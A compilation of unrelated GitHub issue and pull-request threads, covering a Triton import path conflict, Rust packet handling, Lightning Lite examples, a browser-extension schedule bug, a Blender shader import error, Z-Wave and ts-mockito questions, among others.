Thank you for the advise. I checked and don't have triton in my current directory (the directory was directly intel-xpu-backend-for-triton, which I cloned from github). It still doesn't work unfortunately.
The output of the script shared by you:
Python 3.10.15 | packaged by conda-forge | (main, Oct 16 2024, 01:24:24) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import triton
>>> print(triton.__path__)
['/nfs/site/home/yuankai/code/intel-xpu-backend-for-triton/python/triton']
>>> print(dir(triton))
['CompilationError', 'Config', 'InterpreterError', 'JITFunction', 'KernelInterface', 'MockTensor', 'OutOfResources', 'TensorWrapper', 'TritonError', '_C', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__path__', '__spec__', '__version__', '_utils', 'autotune', 'backends', 'cdiv', 'compile', 'compiler', 'errors', 'heuristics', 'jit', 'language', 'next_power_of_2', 'reinterpret', 'runtime', 'set_allocator', 'testing', 'tools']

The output of pip list:
WARNING: Ignoring invalid distribution -orch (/nfs/site/home/yunaik/miniforge3/envs/triton_a770/lib/python3.10/site-packages)
Package                  Version            Editable project location
------------------------ ------------------ ---------------------------------------------------------------
accelerate               1.1.1
aiohappyeyeballs         2.4.3
aiohttp                  3.11.7
aiosignal                1.3.1
Arpeggio                 2.0.2
astunparse               1.6.3
async-timeout            5.0.1
attrs                    24.2.0
autopep8                 2.3.1
bitsandbytes             0.44.1
caliper-reader           0.4.1
causal_conv1d            0.1                /nfs/site/home/yunaik/code/mamba/extern/causal_conv1d_module
certifi                  2024.8.30
charset-normalizer       3.4.0
cmake                    <IP_ADDRESS>
contourpy                1.2.1
cycler                   0.12.1
datasets                 3.1.0
debugpy                  1.8.8
dill                     0.3.8
einops                   0.8.0
exceptiongroup           1.2.2
expecttest               0.2.1
filelock                 3.16.1
flake8                   7.1.1
fonttools                4.53.0
frozenlist               1.5.0
fsspec                   2024.10.0
huggingface-hub          0.26.2
hypothesis               6.119.3
idna                     3.10
iniconfig                2.0.0
isort                    5.13.2
Jinja2                   3.1.4
kiwisolver               1.4.5
lintrunner               0.12.5
lit                      18.1.8
llnl-hatchet             2024.1.3
mamba_ssm                0.0.1              /nfs/site/home/yunaik/code/mamba/python
MarkupSafe               3.0.2
matplotlib               3.9.0
mccabe                   0.7.0
mpmath                   1.3.0
multidict                6.1.0
multiprocess             0.70.16
networkx                 3.4.2
ninja                    <IP_ADDRESS>
numpy                    1.26.4
nvidia-cublas-cu12       <IP_ADDRESS>
nvidia-cuda-cupti-cu12   12.4.127
nvidia-cuda-nvrtc-cu12   12.4.127
nvidia-cuda-runtime-cu12 12.4.127
nvidia-cudnn-cu12        <IP_ADDRESS>
nvidia-cufft-cu12        <IP_ADDRESS>
nvidia-curand-cu12       <IP_ADDRESS>
nvidia-cusolver-cu12     <IP_ADDRESS>
nvidia-cusparse-cu12     <IP_ADDRESS>
nvidia-nccl-cu12         2.21.5
nvidia-nvjitlink-cu12    12.4.127
nvidia-nvtx-cu12         12.4.127
optree                   0.13.1
packaging                24.2
pandas                   2.2.3
pillow                   11.0.0
pip                      24.3.1
pluggy                   1.5.0
propcache                0.2.0
psutil                   6.1.0
pyarrow                  18.1.0
pybind11                 2.13.6
pycodestyle              2.12.1
pydot                    3.0.2
pyflakes                 3.2.0
pyparsing                3.2.0
pytest                   8.3.3
python-dateutil          2.9.0.post0
pytz                     2024.2
PyYAML                   6.0.2
regex                    2024.9.11
requests                 2.32.3
safetensors              0.4.5
scipy                    1.14.1
setuptools               72.1.0
six                      1.16.0
sortedcontainers         2.4.0
sympy                    1.13.1
textX                    4.1.0
tokenizers               0.20.3
tomli                    2.1.0
torch                    2.6.0a0+gitae7f809
tqdm                     4.67.0
transformers             4.47.0.dev0
triton                   3.2.0+gitc7eb08b7  /nfs/site/home/yunaik/code/intel-xpu-backend-for-triton/python
types-dataclasses        0.6.6
typing_extensions        4.12.2
tzdata                   2024.2
urllib3                  2.2.3
wheel                    0.45.0
xxhash                   3.5.0
yarl                     1.18.0

A possible cause of this issue can be having a directory called triton being present in your current directory or one of the directories specified in PATH or PYTHON_PATH this would result in this directory being imported instead of installed triton. I had faced this issue when I had cloned the triton repo in my current directory where I executed my programs.
Could you share the output of below script and the "pip list"
import triton
print(triton.__path__)
print(dir(triton))

The triton.__path__ should be ideally "/PATH_TO_TRITON/intel-xpu-backend-for-triton/python/triton" which should be same as the path mentioned in pip list. If it is not remove or rename any conflicting local "triton" directories if they are present in your path, and python should then use the properly installed package instead.

This was indeed the issue. When running the tutorial vector-add.py, it works without any issues.
In my project, I've a folder named triton and this caused the issue as described.
Thanks for your help!


Erroneous PR Meant for Fork

@Tokap I can add you as a core member, if you are happy to come on board?


When a Client Disconnects, the Connection Count is not updating

The Connection Count is not updating when a client disconnects.
The call to updating method is missing at Client Disconnected command received by client socket.

Fixed.


Add support for multi-packet responses

See the commit message for implementation details.
This adds a new dependency on rand for generating the packet ids. If you don't like this, we could also use a counter or something similar.
The checked_abs method is only available in rust 1.13, which will hit stable in one week, so this currently only compiles with beta.

I'd prefer a counter for the IDs.
The checked_abs method is fine, I'll wait until the release of 1.13 bfore merging though.
I've updated travis ci to build on stable, beta and nightly instead of nightly only now.

I updated the commit to use a sequential counter starting from 1 and rebased onto master.
This also removes the need for checked_abs.

Looks good to me 👍


Update Lightning Lite examples

What does this PR do?
Updates the examples to use the new CLI (no run method used). See #15506
Lightning Lite is also evolving to be more than just an onboarding tool for Trainer. The focus of the example has shifted away of teaching how to convert to a Lightning module and instead just focuses on showing how to integrate it with your existing PyTorch code.
Before submitting

[x] Was this discussed/approved via a GitHub issue? (not for typos and docs)
[x] Did you read the contributor guideline, Pull Request section?
[x] Did you make sure your PR does only one thing, instead of bundling different changes together?
[x] Did you make sure to update the documentation with your changes? (if necessary)
[x] Did you write any new necessary tests? (not for typos and docs)
[x] Did you verify new and existing tests pass locally with your changes?
[x] Did you update the CHANGELOG? (not for typos, docs, test updates, or internal minor changes/refactorings)

PR review
Anyone in the community is free to review the PR once the tests have passed.
Before you start reviewing make sure you have read Review guidelines. In short, see the following bullet-list:

[x] Is this pull request ready for review? (if not, please submit in draft mode)
[x] Check that all items from Before submitting are resolved
[x] Make sure the title is self-explanatory and the description concisely explains the PR
[x] Add labels and milestones (and optionally projects) to the PR so it can be classified

Did you have fun?
I made sure I had fun coding 🙃
cc @carmocca @justusschock @awaelchli

@carmocca Almost resolved. Just a tiny issue with the imports on the Lite GPU CI job.


Add Windows compatibility.

Modify the code and CMakeLists.txt files so that a .dll can be created and used on Windows applications.
Check https://msdn.microsoft.com/en-AU/library/ms235636.aspx for reference on dll export/import.
Assign to branch windows_dll

Completed.


[BUG] is the schedule for elizabeth bloodflame working?

Describe the bug
whenever i check for her scheduled lives she just isnt there in the extension, was wondering if it would update in time but has been quite a while now and havent seen any changes, but maybe thats only me.
To Reproduce
Steps to reproduce the behavior:

Go to 'one of elizabeth's scheduled lives https://www.youtube.com/@holoen_erbloodflame'
Click on 'the holoschedule extension to see if its marked as a scheduled live'
Scroll down to 'see if there is anything there'
See error

Expected behavior
A Elizabeth Rose Bloodflame scheduled live appears in the extension
Screenshots

Desktop (please complete the following information):

OS: [Windows 11]
Browser [Opera]
Version [111.0.5168.54]

Additional context
i noticed it from their debut onwards but was thinking it would be updated like with the other girls so far, sad it wasnt

should look something like this as seen in the hololive official schedule, in this case

also tested it in chrome version 126.0.6478.127
if opera is not your cup of tea

also also, when it hit 10 mins for the live it marked it as a "guerrilla live" too, and sent me a notification for it
even though it was a scheduled one

seems now there is a scheduled live showing so maybe its was some random thing that may or may not happen from time to time, so i'll close the issue with that

Sorry for your bad experience.
For now, the data source of youtube lives for HoloSchedule originates from the exact contents on the channel's homepage. As long as the scheduled live shows up for some minutes, we know that.
For some reasons from youtube or channels owner's config, some scheduled contents like Premiere Videos or lives just reject to show up. In this case, the owner's official Twitter account is acknowledged as a fallback source. Sadly, if the tweet is not published in time, the newly found content would be viewed as a guerrilla live.
We are thankful to you for reporting what you have seen. This would help us with improving the quality of identification.
By the way, would you please share the origin of your second screenshot? The layout is clean and clear, which cannot be found in scheduled.hololive.tv or HoloPlus app.

https://hololive.hololivepro.com/en/schedule here you go!


chore: lock node version w/ .node-version

Signed-off-by: Chris Gianelloni<EMAIL_ADDRESS>

This isn't necessary. Closing.


ZXing and frame rotation

If the frame in the frameProcessor has a rotation (frame.orientation equals landscape-right, landscape-left or portrait-upside-down), codes will not scan because ZXing requires the the code to be upright. Is there a work-around for this?

QR code can be read in any direction while 1D code cannot. I didn't find a solution.

That makes this module not very usable, or am I overlooking something?

I tried rotating the frame with vision-camera-resize-plugin, but I end up with a uint8Array which I cannot pass to the decoder function.
I tried rotating the frame with vision-camera-resize-plugin, converting the result to base64 and feeding that to the base64 decoder function. That is a) not possible because frame processors are synchronous and would b) be very slow even if it worked.

You can draw an overlay to guide the user to align the barcode with the camera. This is how the zxing app does.


signumone-ks: init at 3.1.2

Motivation for this change
This software is required for all workers in Costa Rica for reporting taxes and marking vouchers with Digital Sign (Factura Digital).
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[x] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Hey @andir, I have performed the updates as requested. It's my first time creating a new package for Nixpkgs, so I had to guide myself with other packages to make this work.
Please let me know if something needs to be done.

@andir are there any changes required for this package? Please let me know what else is needed to change, thanks.


wrappers: cv: Add depth registration example

Signed-off-by: Christopher N. Hesse<EMAIL_ADDRESS>

Hello @raymanfx
Thank you very much for the contribution. At the moment the team is occupied but I'm looking forward to testing this.
Please note that code below is often very slow:
for (size_t i = 0; i < d_h; i++) {
   for (size_t j = 0; j < d_w; j++) {
       depth_image.at<float>(i, j) = depth.get_distance(j, i);
   }
}

You can use depth_frame_to_meters instead

Hello @raymanfx Thank you very much for the contribution. At the moment the team is occupied but I'm looking forward to testing this. Please note that code below is often very slow:
for (size_t i = 0; i < d_h; i++) {
   for (size_t j = 0; j < d_w; j++) {
       depth_image.at<float>(i, j) = depth.get_distance(j, i);
   }
}

You can use depth_frame_to_meters instead

This would be interesting


Removed file which existed twice

I've removed the PacketIp.java file, which existed twice, but with different case (PacketIp and PacketIP). It caused a few issues. Now all is working fine :)

Thanks for this! :) Hadn't even realized it had caused an issue on the repo.


AttributeError: Shader 'hash_F9FB7331' does not exist!

Error importing: C:\Users\borow\Desktop\2017 Mercedes-Benz E300 Exclusive 4matic (W213) v2.0 by ahmeda1999\e300_hi.yft.xml
Traceback (most recent call last):
File "C:\Users\borow\AppData\Roaming\Blender Foundation\Blender\3.5\scripts\addons\Sollumz-dev\sollumz_operators.py", line 71, in import_file
import_yft(filepath, self.import_settings)
File "C:\Users\borow\AppData\Roaming\Blender Foundation\Blender\3.5\scripts\addons\Sollumz-dev\yft\yftimport.py", line 275, in import_yft
fragment_to_obj(yft_xml, filepath, import_settings)
File "C:\Users\borow\AppData\Roaming\Blender Foundation\Blender\3.5\scripts\addons\Sollumz-dev\yft\yftimport.py", line 216, in fragment_to_obj
materials = shadergroup_to_materials(
File "C:\Users\borow\AppData\Roaming\Blender Foundation\Blender\3.5\scripts\addons\Sollumz-dev\ydr\ydrimport.py", line 21, in shadergroup_to_materials
material = create_shader(shader.name, shader.filename)
File "C:\Users\borow\AppData\Roaming\Blender Foundation\Blender\3.5\scripts\addons\Sollumz-dev\ydr\shader_materials.py", line 718, in create_shader
raise AttributeError(f"Shader '{name}' does not exist!")
AttributeError: Shader 'hash_F9FB7331' does not exist!
So, my question is where can I find a shader like hash_F9FB7331?
Don't beat me I'm new to GTA 5 porting.

you are trying to import a YFT made with zmodeler, which randomly hashes the shaders, also you shouldnt use the main sollumz branch for YFTs, you are asking for issues.

Bruh, I encountered a problem while using Blender and for your worries I remember to use Codewalker to decrypt files with extensions .yft, _hi.yft, and .yfd to XMLs. Every time I tried to import the yft.xml file, I encountered the same issue, with a different hash for each mod. Even when using the standard version (Sollmuz V1.1A), the problem persisted.


[feat] Need event emitted when writeValue API is invoked

Is your feature request related to a problem? Please describe.
I have a plugin that needs to track some device values, in my case it's the indicator.
If the writeValue API is invoked by the web interface (or Home Assistant), that value can be changed without the plugin being aware of it.
Describe the solution you'd like
In the ZwaveClient writeValue API, at around line 1661, add something like
this.emit('valueWritten', valueId, value)
as in
        } else {
          result = await this.getNode(valueId.nodeId).setValue(valueId, value)
         this.emit('valueWritten', valueId, value)
       }

Describe alternatives you've considered
Polling the device to detect changes but .....
Additional context
It's up to the event consumer as to how the event information is used. They can either use the new value directly, or trigger the refreshCCValues API depending on the device.
This is to address the case where a device doesn't automatically send an update when values are updated using Zwave.

@timothyh PR?


Stubbing method same params value twice on same mock take the first one not last one

Indented behavior is last stubbing is more important and should be used.
when(mock(mockObject.method())).thenReturn(false);
when(mock(mockObject.method())).thenReturn(true);
Return false.
it should return last stubbing value, true.
when(mock(mockObject.method())).thenReturn(false);
reset(mockObject);
when(mock(mockObject.method())).thenReturn(true);
Workaround calling reset before next stubbing duplicate, but would be great be default simpler usage and does not reset the whole object.
Regards

Thanks for reporting it. It will be default behavior in 2.0 version that will be available in a few days.

That is great, will give it another try then...
On Wed, Apr 26, 2017, 14:48 Maciej Kuster<EMAIL_ADDRESS>wrote:

Thanks for reporting it. It will be default behavior in 2.0 version that
will be available in a few days.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/NagRock/ts-mockito/issues/21#issuecomment-297489330,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABvpSPVeLvPnWV00dm4P-JRSvHBrc_Dyks5rz4NxgaJpZM4NJM3O
.

--
Saludos.
Nestor

Should be fixed in 2.0 version. Please reopen if something is still wrong.

@Wolfium
Also you should not call mock() method inside when():
const mockObject = mock(YourClass);
when(mockObject.method()).thenReturn(false);


about the runing

This is how to install and run, I don't know much about code, can you make a tutorial, thank you

Hi, the project has been updated so check README.md for instructions how to run it on your custom videos.